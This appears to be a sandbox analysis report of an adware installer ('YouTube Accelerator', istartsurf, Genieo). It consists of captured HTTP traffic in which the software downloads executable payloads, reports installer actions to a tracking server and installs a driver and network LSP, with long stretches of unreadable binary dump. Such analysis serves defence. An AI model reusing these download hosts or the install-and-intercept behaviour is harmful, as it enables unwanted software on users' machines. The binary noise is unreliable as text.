lt;....Y3y....b..A.M..M....)H.L.GK.H.\,zKC...N.......p.>..q..o.K...
l"....a;q*...=?r...`.&.@l. .i 5.......SEH.\/..P...........=....B..o .\
..............#.6..=.Q.....r...Xx.V..!..%.o.euw......{.i..............
d...?...#V....>.f......&.` .;.{.)[email protected].."....g7..J.n.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



..jqh...~OST..0{<{)..Z.b$....W.q....r.j....|.........>.B.|M.6_..
.=..#_..;~.|-.6_....5V..........m....r..e...............}R....{...Ok.F
.z.d......^.X..%9^..j..<k..[L...D.2M.).h.i....J.....G..s...........
...Oi......".yb.!:I.(J.S..e....:u.]..b...Z\.. u....\..<............
.......68Ux....r........5....R...........ix;[email protected].....#..
8.....v...Mv....j.6..|]_r...........Kq..?..F...Vz..7.......).".*...{c.
..:on.W...`<..\...]..c..Q...]..7..5......Jc#./.S.>..e...}Et8..$.
..W.......z<.&........Z..0EyX.....7..c.......fo..~.S...{...5..OR...
7..l.C.[.u........ .*) .M.~.o]...$Js...`x..&.tq.'4(T.XX.{Z..........[F
4...<..A..{5.I.....x....f...........s.'..aX9k\..:. E.z...k..#......
...".....p..}X.....x.|.M_..eG]3n.I...it....ZV....4.C.r...U8Z..V.G."GsT
.2...>w..K..=f.<.......[c..i.\......w.Xq.9..q...5....#.x....F..5
H=................?...2l...^..NU..{.{<~...q4o.I3.Mta...i..:.w.....=
. ......;.{l...j#)^.C..P....9..1..q.....l.o.r..s..?......G...z......).
J..z............T..,`,.-...j.c...7....({...KM..q(..3.i.....7.V.#.w....
.T.Ee..AV....../......za(.......g..o....t[.'.y...=<.B6S.L...3.P..ZN
[email protected]..:..........Q..I`.........{u&.`.2.X..Rc..
[email protected]{...<..sg`...X)...\.9.........\.5.U.gs!.*....
.. i?...J.<^?.^..G....#./:..A..Y.....V.nE...,.;..^........&.0..elO.
...G...........@N'.o...7....dk.p*E...|O......I..i.\.J8...Xm.h.......Bi
1..........b... ..Q..72.... .A.)fO.|(.x..B.aVf.bDF...d..g$.....jF.o..;
X.e.....{.= ...3...q.bu.L..../q..;G....r,..h..qC.S..,.a..Rc.....\.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



[email protected]......~vv.....S.*..N.....D....J....v........%JN.x.^...Y.
.(.....2.=..X..2.gM..H........r@../...-...V.....;b4-...v.~....d..S....
..(.\{%..../.._$7$^.r.v...x.~V:..0.I.../...........)...5....v.........
%...x.6.2.....H.pF@X ..C{...&U.gm.SR.d.c.o.......l...G6D......y....-..
9.nc<m.>.........{O#...ahi?........9...!....v.....daY.k.H.PO#...
...".....?.][email protected]'..6.`d.W~3h......W.~..T.=..Az(.N......l.......'L
.Q........B..5.zY.S...>!............o...wX...........'....s.W.q....
..29./..^`)..).....v.YW........Gb%p..}./[%.......3D:j..zG........6zm..
..l_.....}.....W...q..#..{.....j......v.....jL.......V...^.m.?{.....p.
i.X.XSy...ljc%m....`.4..dn...}.L1..Z.oK.j...%.`......z.~P2.._.v/....."
[email protected].....\T.B=B.... .t.....(O..?QC..o]l..%%....{~..#....C.
.^...BP&n-o..^....g....:O..F<..qr.^...&.t...2.^..r..^QHM.g........g
.._....].Lt..rB...q........Is.........uJ......Y z._.z{"...A....H.MZ.[.
...|...A(..-....K.7.........Q8..%1.{....>..x....p..]1>...q......
.N6^5J....jv.....~..|._......[.'..Hl)@.1.`Dm...Y.{0.}2.F>.vw.._.{.n
?...._.S[......b.A....a.|.n....5.....,G..Q.....J.T..1..d.9.UJ.........
.^5.i..Z........v.B...7.F..#.3.g...._l..0...EI..#Z..8..........J......
......b.,.......%a.97(]..... .._E...........b.*.Jk....g{.u...t.9..3.X.
....6............z.YCO.2....-6;^Q..m;P"P .;.'.OWl.:......!.u.BV.2/)j.c
p5...v9.....u{.#{$......aB...g....TpAO#.WHlF1.SE.....!.Q.k..Mbu...%...
.!.....W;..O...c..}.E..8...@fq....:..:..Mcv0....O..m.....`.....\.v...m
......8e.U...).0.....I~......h....z.M).>Cq....Q.....-..9.b....k<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



b..z..w0T....x.0.....Tx.3#..RA.$..,.:.oY.O|E......H...J.....cD.h.n...K
'.&.V~s3.j.L.#.f.....U.....wa.6..X.V..l6/v.|.*,.Q...l..0....W.:$.%...\
<0p........c. .t_Q._)..e.2......Rr.f...V..A"-/.I....n`..!....Dne\..
.J....1.(...........$;G...1.]i...D..9..e..........6.\..UZ.Z........!u.
.......J7.'.gq. ......O..mS.;.Q.....Y.X...........c......^.....x.....[
..f|.B.:^.1.BEw..,.c.*!...1...r....3....^.F.5.$..K|.p../.L.B.....O.F..
.s..H....=.k.....(.*.......O,...s..fQ.I.q.P {.9u......[(n.t4dI6 E=.v.\
..d]vf.o..<.2O....j.......i|...........t..Ym....[^/.....;..'[.....g
.I8.. .v.....?.,...%..3......<..9N.`...[........2&|.N..........k...
_..OF...r.....V..0."z..q.%.....>....j.._....3.d...v|f..X._L........
.X...e..47.q.u.....?....2HrG.{...E. P.*.....I.Yk..M....xq~F.h.....]U=h
[email protected].._Z!.0.o<..8C.H...:j..... _.....N.-.....?.W......{'4X.
`UG.......#N.....q.;)...m.Y.v0..........4.....G.Z...?....[...........\
.k..K!..B.......^....`"[email protected]...]....Gib ........b..
...}.s.5....u..|...GK..........h.Q.uqU...M:b...%U)....~...........z...
.>.g.Z.....O.D......3.;....@., .?.~<...Sc..LR.@.^..4...9....z.).
.r...!..< .|.....D7..I"...}......p.R.`9.'......#...CQB:.. ....._.'.
o....F....iY....(P13......{.....~Z....`...h.Q.......Q.(.Y;z..7.~.G....
y.O.9.6s....s...Y.......3.%:[email protected]....>}.f.....OlM."..
..j...:4,P....3|.G.3{&..*.[.&...9..l.$..]E..............V.@.`$w.K.OZ.@
.p.Cx.S.|.D......{4 ..[.....".C`......#.V......p..=..)3!G......&._c..q
`....xMx..Q...]...........I:..`.....w..J#|.H.>.......-......e..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



{\..#......>:..9Z.CI]......X...B.@..[>......y..$.x.%.........=u#
.........KV..8.n....g....R.I.....~F.<.........F8......".Cp7.....3.d
..%....K..N..nlr..v.....4tm7....T...~U.....L..G.......>.[.C..o[. Jc
7l$.....j.S...C.. ..Q.kj.6.......PJ.....z....K...V.yX.P...!.>.h...&
..('l.*..".w....v.q.0.k.....%..y.b...P.'v.4Pf ............GW.........?
.3.....HP.....b......J.T*..{...G...B.......8.....u.'.....e...7.....hv.
&..........O?R..|5U..ZD*\.]..6p....g....W..S.1.b]E......j....|.)Iw.r..
.K.dg...ZXU..P.........q.yl..qAS....9....? .fqb.uwK}I.h....o.~.C.U....
_C..l45........UY..*."...N......~..VO.VqI..f>..Z....Z.. r".S..H.h..
...0.....{X..H......._..Bg..*.bx......k<.....B.....[M....6.t....}.9
b.u.Tm.$.;.{|..2.=.r.L*[email protected]`...:...L..a..j1........;....H....s....&
.'a.....z..M.......|[email protected]....@>3c5n.....3.
.AC.....fpj..v.8"... .XJ4..-.%....T.f...I..z.........G....g..dM.&uK...
u...m?X..@v,j.@R.!.....e.-..:....R.M\.#...'ED|(p.....8:PY.4Z..M....>
;{X...G....-........r...~.(.i):Q..F....}_......S....I.}... ..fd......p
.%...W.I"..qQ..m.....?.]..#.z#.W...f.5...q.....3..5,..5.I..y....-I..h.
3z.C.F..y.8.....<[email protected]~......."w.
k..~y.......AT5M.....Q..'.R.B.....3.$X.#...m..J0.]C..'.UgO.oD >/.Q.
..q..R..*.......h{v<I...u.../.....s..a!...P.!.;.k...3.~... .......*
...E..{.Y(.Lm.........7j..u. ...A....e..........]6.Y..vsF.\O.OVn.X....
...B= T.....8..`.Ga...) w.^M...........r..vH.tZJtz........e .x.c.R85uN
..........?P..j.r.?$...=\*.z.h.....Z.....bg. .e.....K-.$....;.N_.y<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7750000-7999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7750000-7999999/8806904
'....bo.B......<~.D,."._.R....3..F.l..........X..|....h.q_<,j...
..0L......W...(42.....t..r....@'....8..&....U.O.%D?...z.:.U...Co.....z
.'{`..Y.!3X...........X./...........&.....3.zb\..O#O...n.n.bp.x74./.xD
%[..d.._]$.......wO...V!pfro4. .WZ.$..([email protected]......{.
..........Kr..B14.o1....)C..y8...}Kx.......;P.B.Ji...F......~5......d.
....Nre^>=.....]....c..?..m..F6.CR.S.AsP.x..[......z...b@..^0...~.e
S._...N...Rd..Y......u.$T@.@@w.....:..3..G..a.b....5...a.e..hw....7*".
.... ]g..E. b.E.p.t=......"Y&...-......K....../.q.....<....Xw......
.....kK..4.V1.#.D.....Di.wKts.........w...i...Ll.....K........_.....(_
...^...Lk.)...w.\.[...E.....[Sb_n ".e/......N....U..0qT..7..;..=..z...
w-|=.....P...i..Y....... kA".4...l&W"Lh..\.qL0.m.8....iho..|...?....M.
.../f%..$.a...kY..u1}.H.).^).."D..../.......I,z.....Z.8.~F.|uJ..G.....
...1........l.I.....Lx....Jp.._j...xV.-.x......Szv....2....M#.....j\..
8B.">.V..V,v.S^.._!.q....B.I....$7r......C.....U)..9.....r.B9.K..Ap
....8..M>`4M.2..-.!].(U...c......fZ.`j....9gy.tba...../R.J.8...w...
u....-.a.............{G....^(.i.z...Lh.....(^5...;m.p.L.z...kX=.Q."...
..3.E.?..... ......!.e0..PB...!}7..V'..........@..$....m..v...........
...Qkm...$.,.q7/.H-}......AV.\.......U...bY.5...c..m.B.7x..~jR0..J .@.
...g.......E'Q(.8..M....Q!..J>..U.J...X.6i.....b..]G>:.GKt}@)...
.#....J..k.6...Q..(L..C.........Q.../.X.Y..1.Z...J..|j'...Jd.rIY..':.t
.ox#..?wm...Y6.N.....t...,...63.....d}R.0........Q...u...\.....93.....
.......z..V......h.0.U.7........n...B.A..j...Q.f!C...D..{..t.&...6<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=8750000-8806903

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive



.. d..&Y...*.bGE....,C.qQ^....zGG..%c...K....,R...X,vxxt,*..(*..).nw..
(Q.x.Z.m(D.%..yZM.Z.. G.GMNI.....e...Q.I.....Q.....t.a...F..i...t4....
....hQ.*!6:".V.vt<F....g..o....Y.X..D9,"6%-oI.!C.....nyG'..Fa..y...
...4UB|l..;"&%..Aa.:~.."..H.cRH...i...Xr.6..........Z.. .........r.]..
Q&O..Q..T...3&Mz}. /.{..{......*.."CZ\tDX.f<A...-'......Cw.4h.S....
.....w...7.....i.1X..8F....Ji......6.....zfJ&..He.:..PYN..............
..yl\r2.;00"6U..<~...z w_..j.....X...&S........'.......T.H....KOMy|
........X...6..b.T,.C9.....<.>>!E.J.........i..zji...........
` .k]:q...._.NO........qw.v.j1...%..n2.M.......q.i..Z-......?..O.|.djo
[email protected].~.~..Y.,.&.....##.W...L Q8{...2...........T.......u.. ?].q
.............&.`.,..PBB.P1...........7~[.m..3............x..L....../..
..#P>uVy[.O_...m..u...[........l.ZPK.a.?.alD.......U5G.. ..........
.y....V.r Z.$/..u..0.....g[P]Su..(jVW..=Q....$.."7w..#......s._..K...v
....O5..t>q. ..#.m...........iM..v.|....'}...$.n<y....a...l.....
.5e9u...Vmmm.........?'sMccckk ....9.#....d}.6..M...XM(....$.4... UF&0
977...0...\.M.........\.....F......'..$.M.Q.......:-2..j.l.y..Ystee...
.r.....P.>M.....P.P.f~k....n....&.Yv..rY...>/)..XWW.7..~.5;..(..
?0^..|~..r.....LERNeke...~ji.-.b....O.WVWW..E....g...`~......tv.)Ct...
.mhh._...>[email protected] B..7.I.G14.....[.I.....
....a;......\z.}~ p.....T..!f........w.}....;.9.........k..g ......"..
.mm..................Y.......>..g.>v,....G?x'.}..G.......4?..!..
7xx.C.....{d.....X/.........G........3O...zS........G..a..c..V.7..<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /nyt/rss/HomePage HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 22:56:09 GMT

If-None-Match: 1431730569000

Accept-Encoding: gzip,deflate

Host: feeds.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:13 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml

Content-Length: 264

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/HomePage.xml">here</a>.</p>.</body></html&
gt;...

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ClearnC HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:03:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.40 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May 201
5 23:03:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.40 ms","message":"store 1 act
ion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:03:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.41 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May 201
5 23:03:05 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.41 ms","message":"store 1 act
ion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:03:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.72 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May 201
5 23:03:10 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.72 ms","message":"store 1 act
ion and 0 update "}..0..

GET /media/img/favicon/favicon-196x196.cb79ae3b6daf.png HTTP/1.1

Accept-Encoding: gzip,deflate

Host: mozorg.cdn.mozilla.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:59 GMT

Location: hXXps://VVV.mozilla.org/media/img/favicon/favicon-196x196.cb79ae3b6daf.png

Server: ECAcc (ams/4875)

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:59 GMT..Location: hXXps://VVV.mozilla.org/media/img/fa
vicon/favicon-196x196.cb79ae3b6daf.png..Server: ECAcc (ams/4875)..Cont
ent-Length: 0..

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:02:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.46 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 20
15 23:02:53 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.46 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:02:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.62 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 20
15 23:02:59 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.62 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=380835, public, no-transform, must-revalidate

Last-Modified: Wed, 13 May 2015 08:50:20 GMT

Expires: Wed, 20 May 2015 08:50:20 GMT

Date: Fri, 15 May 2015 23:06:25 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015051
3085020Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150513085020Z....20150520085020Z0...*.H........
.....(.TF.....V..!..M. ..|........<....V0...W.............}?.;.&,..
N48... 4.....0...zT...T.Ct......].aj...........N.........6.....b......
..D....^.W.5b..H.....S.^....i.Ho......f|V=.........'...e......k-..-.P 
.....!./....3.D.I.......r..\3.r..iq..y.N.y...6u..;........0...0...0...
.........I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawt
e, Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 t
hawte, Inc. - For authorized use only1.0...U....thawte Primary Root CA
0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.
1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H
.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s..
...S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.
B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c
...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3
.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.......0
.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H...........
.....lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... ..
.......GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:
...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h.
.......U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBuYvHdVmNDEAeDWzENJUpo= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=505946, public, no-transform, must-revalidate

Last-Modified: Thu, 14 May 2015 19:35:32 GMT

Expires: Thu, 21 May 2015 19:35:32 GMT

Date: Fri, 15 May 2015 23:06:25 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
4193532Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
....wU.......CIR.....20150514193532Z....20150521193532Z0...*.H........
.....>.(....&G...."....o...t=.l...=..!J<...........>M9& .~c..
dR.'.........U...?....M...\D.](...5..=...YB.......06......&...)....:RO
N&.vE......i........#?...b.|...4.8...^..:.*s...Y{......9...r4e.q.1.z..
m........Yt.....E).3p....Ua:..qM.R...D...v....,9...c..6x........0...0.
..0..y.......^..........N...)0...*.H........0J1.0...U....US1.0...U....
Thawte, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1
50601235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Co
de Signing CA - G2 OCSP Responder0.."0...*.H.............0............
).Z.......O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.r
WJ.j.U.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm....
...{b.bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y.....
.......8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0.
..U.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...
U....TGV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J
.3~..7#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T
..Yu.o.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......
]...y..L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......
t....>.....j....<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 Ok

Server: nginx

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Expires: Fri, 15 May 2015 23:04:57 GMT

Last-Modified: Fri, 15 May 2015 23:04:57 GMT

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' hXXps://yastatic.net *.yandex.ru yandex.ru *.yandex.net hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.yandex.net yandex.st yastatic.net *.yastatic.net ws://portal-xiva.yandex.net wss://portal-xiva.yandex.net wss://push.yandex.ru; img-src data: 'self' hXXps://yastatic.net *.yandex.ru yandex.ru *.tns-counter.ru *.gemius.pl hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.tns-counter.ru hXXps://*.gemius.pl yandex.st *.yandex.net yastatic.net *.yastatic.net; report-uri hXXp://VVV.yandex.ru/log/csp?from=yaru.ru&showid=22905.20143.1431731096.60457&h=s58&yu=1613692281431731090;

P3P: policyref="/w3c/p3p.xml", CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"

X-Frame-Options: DENY

X-XRDS-Location: hXXp://openid.yandex.ru/server_xrds/

Content-Encoding: gzip

The Application connects to the servers at the folowing location(s):

YouTubeAcceleratorService.exe_3204:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Tu8%XuJ@Uu

AUu.AUu

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

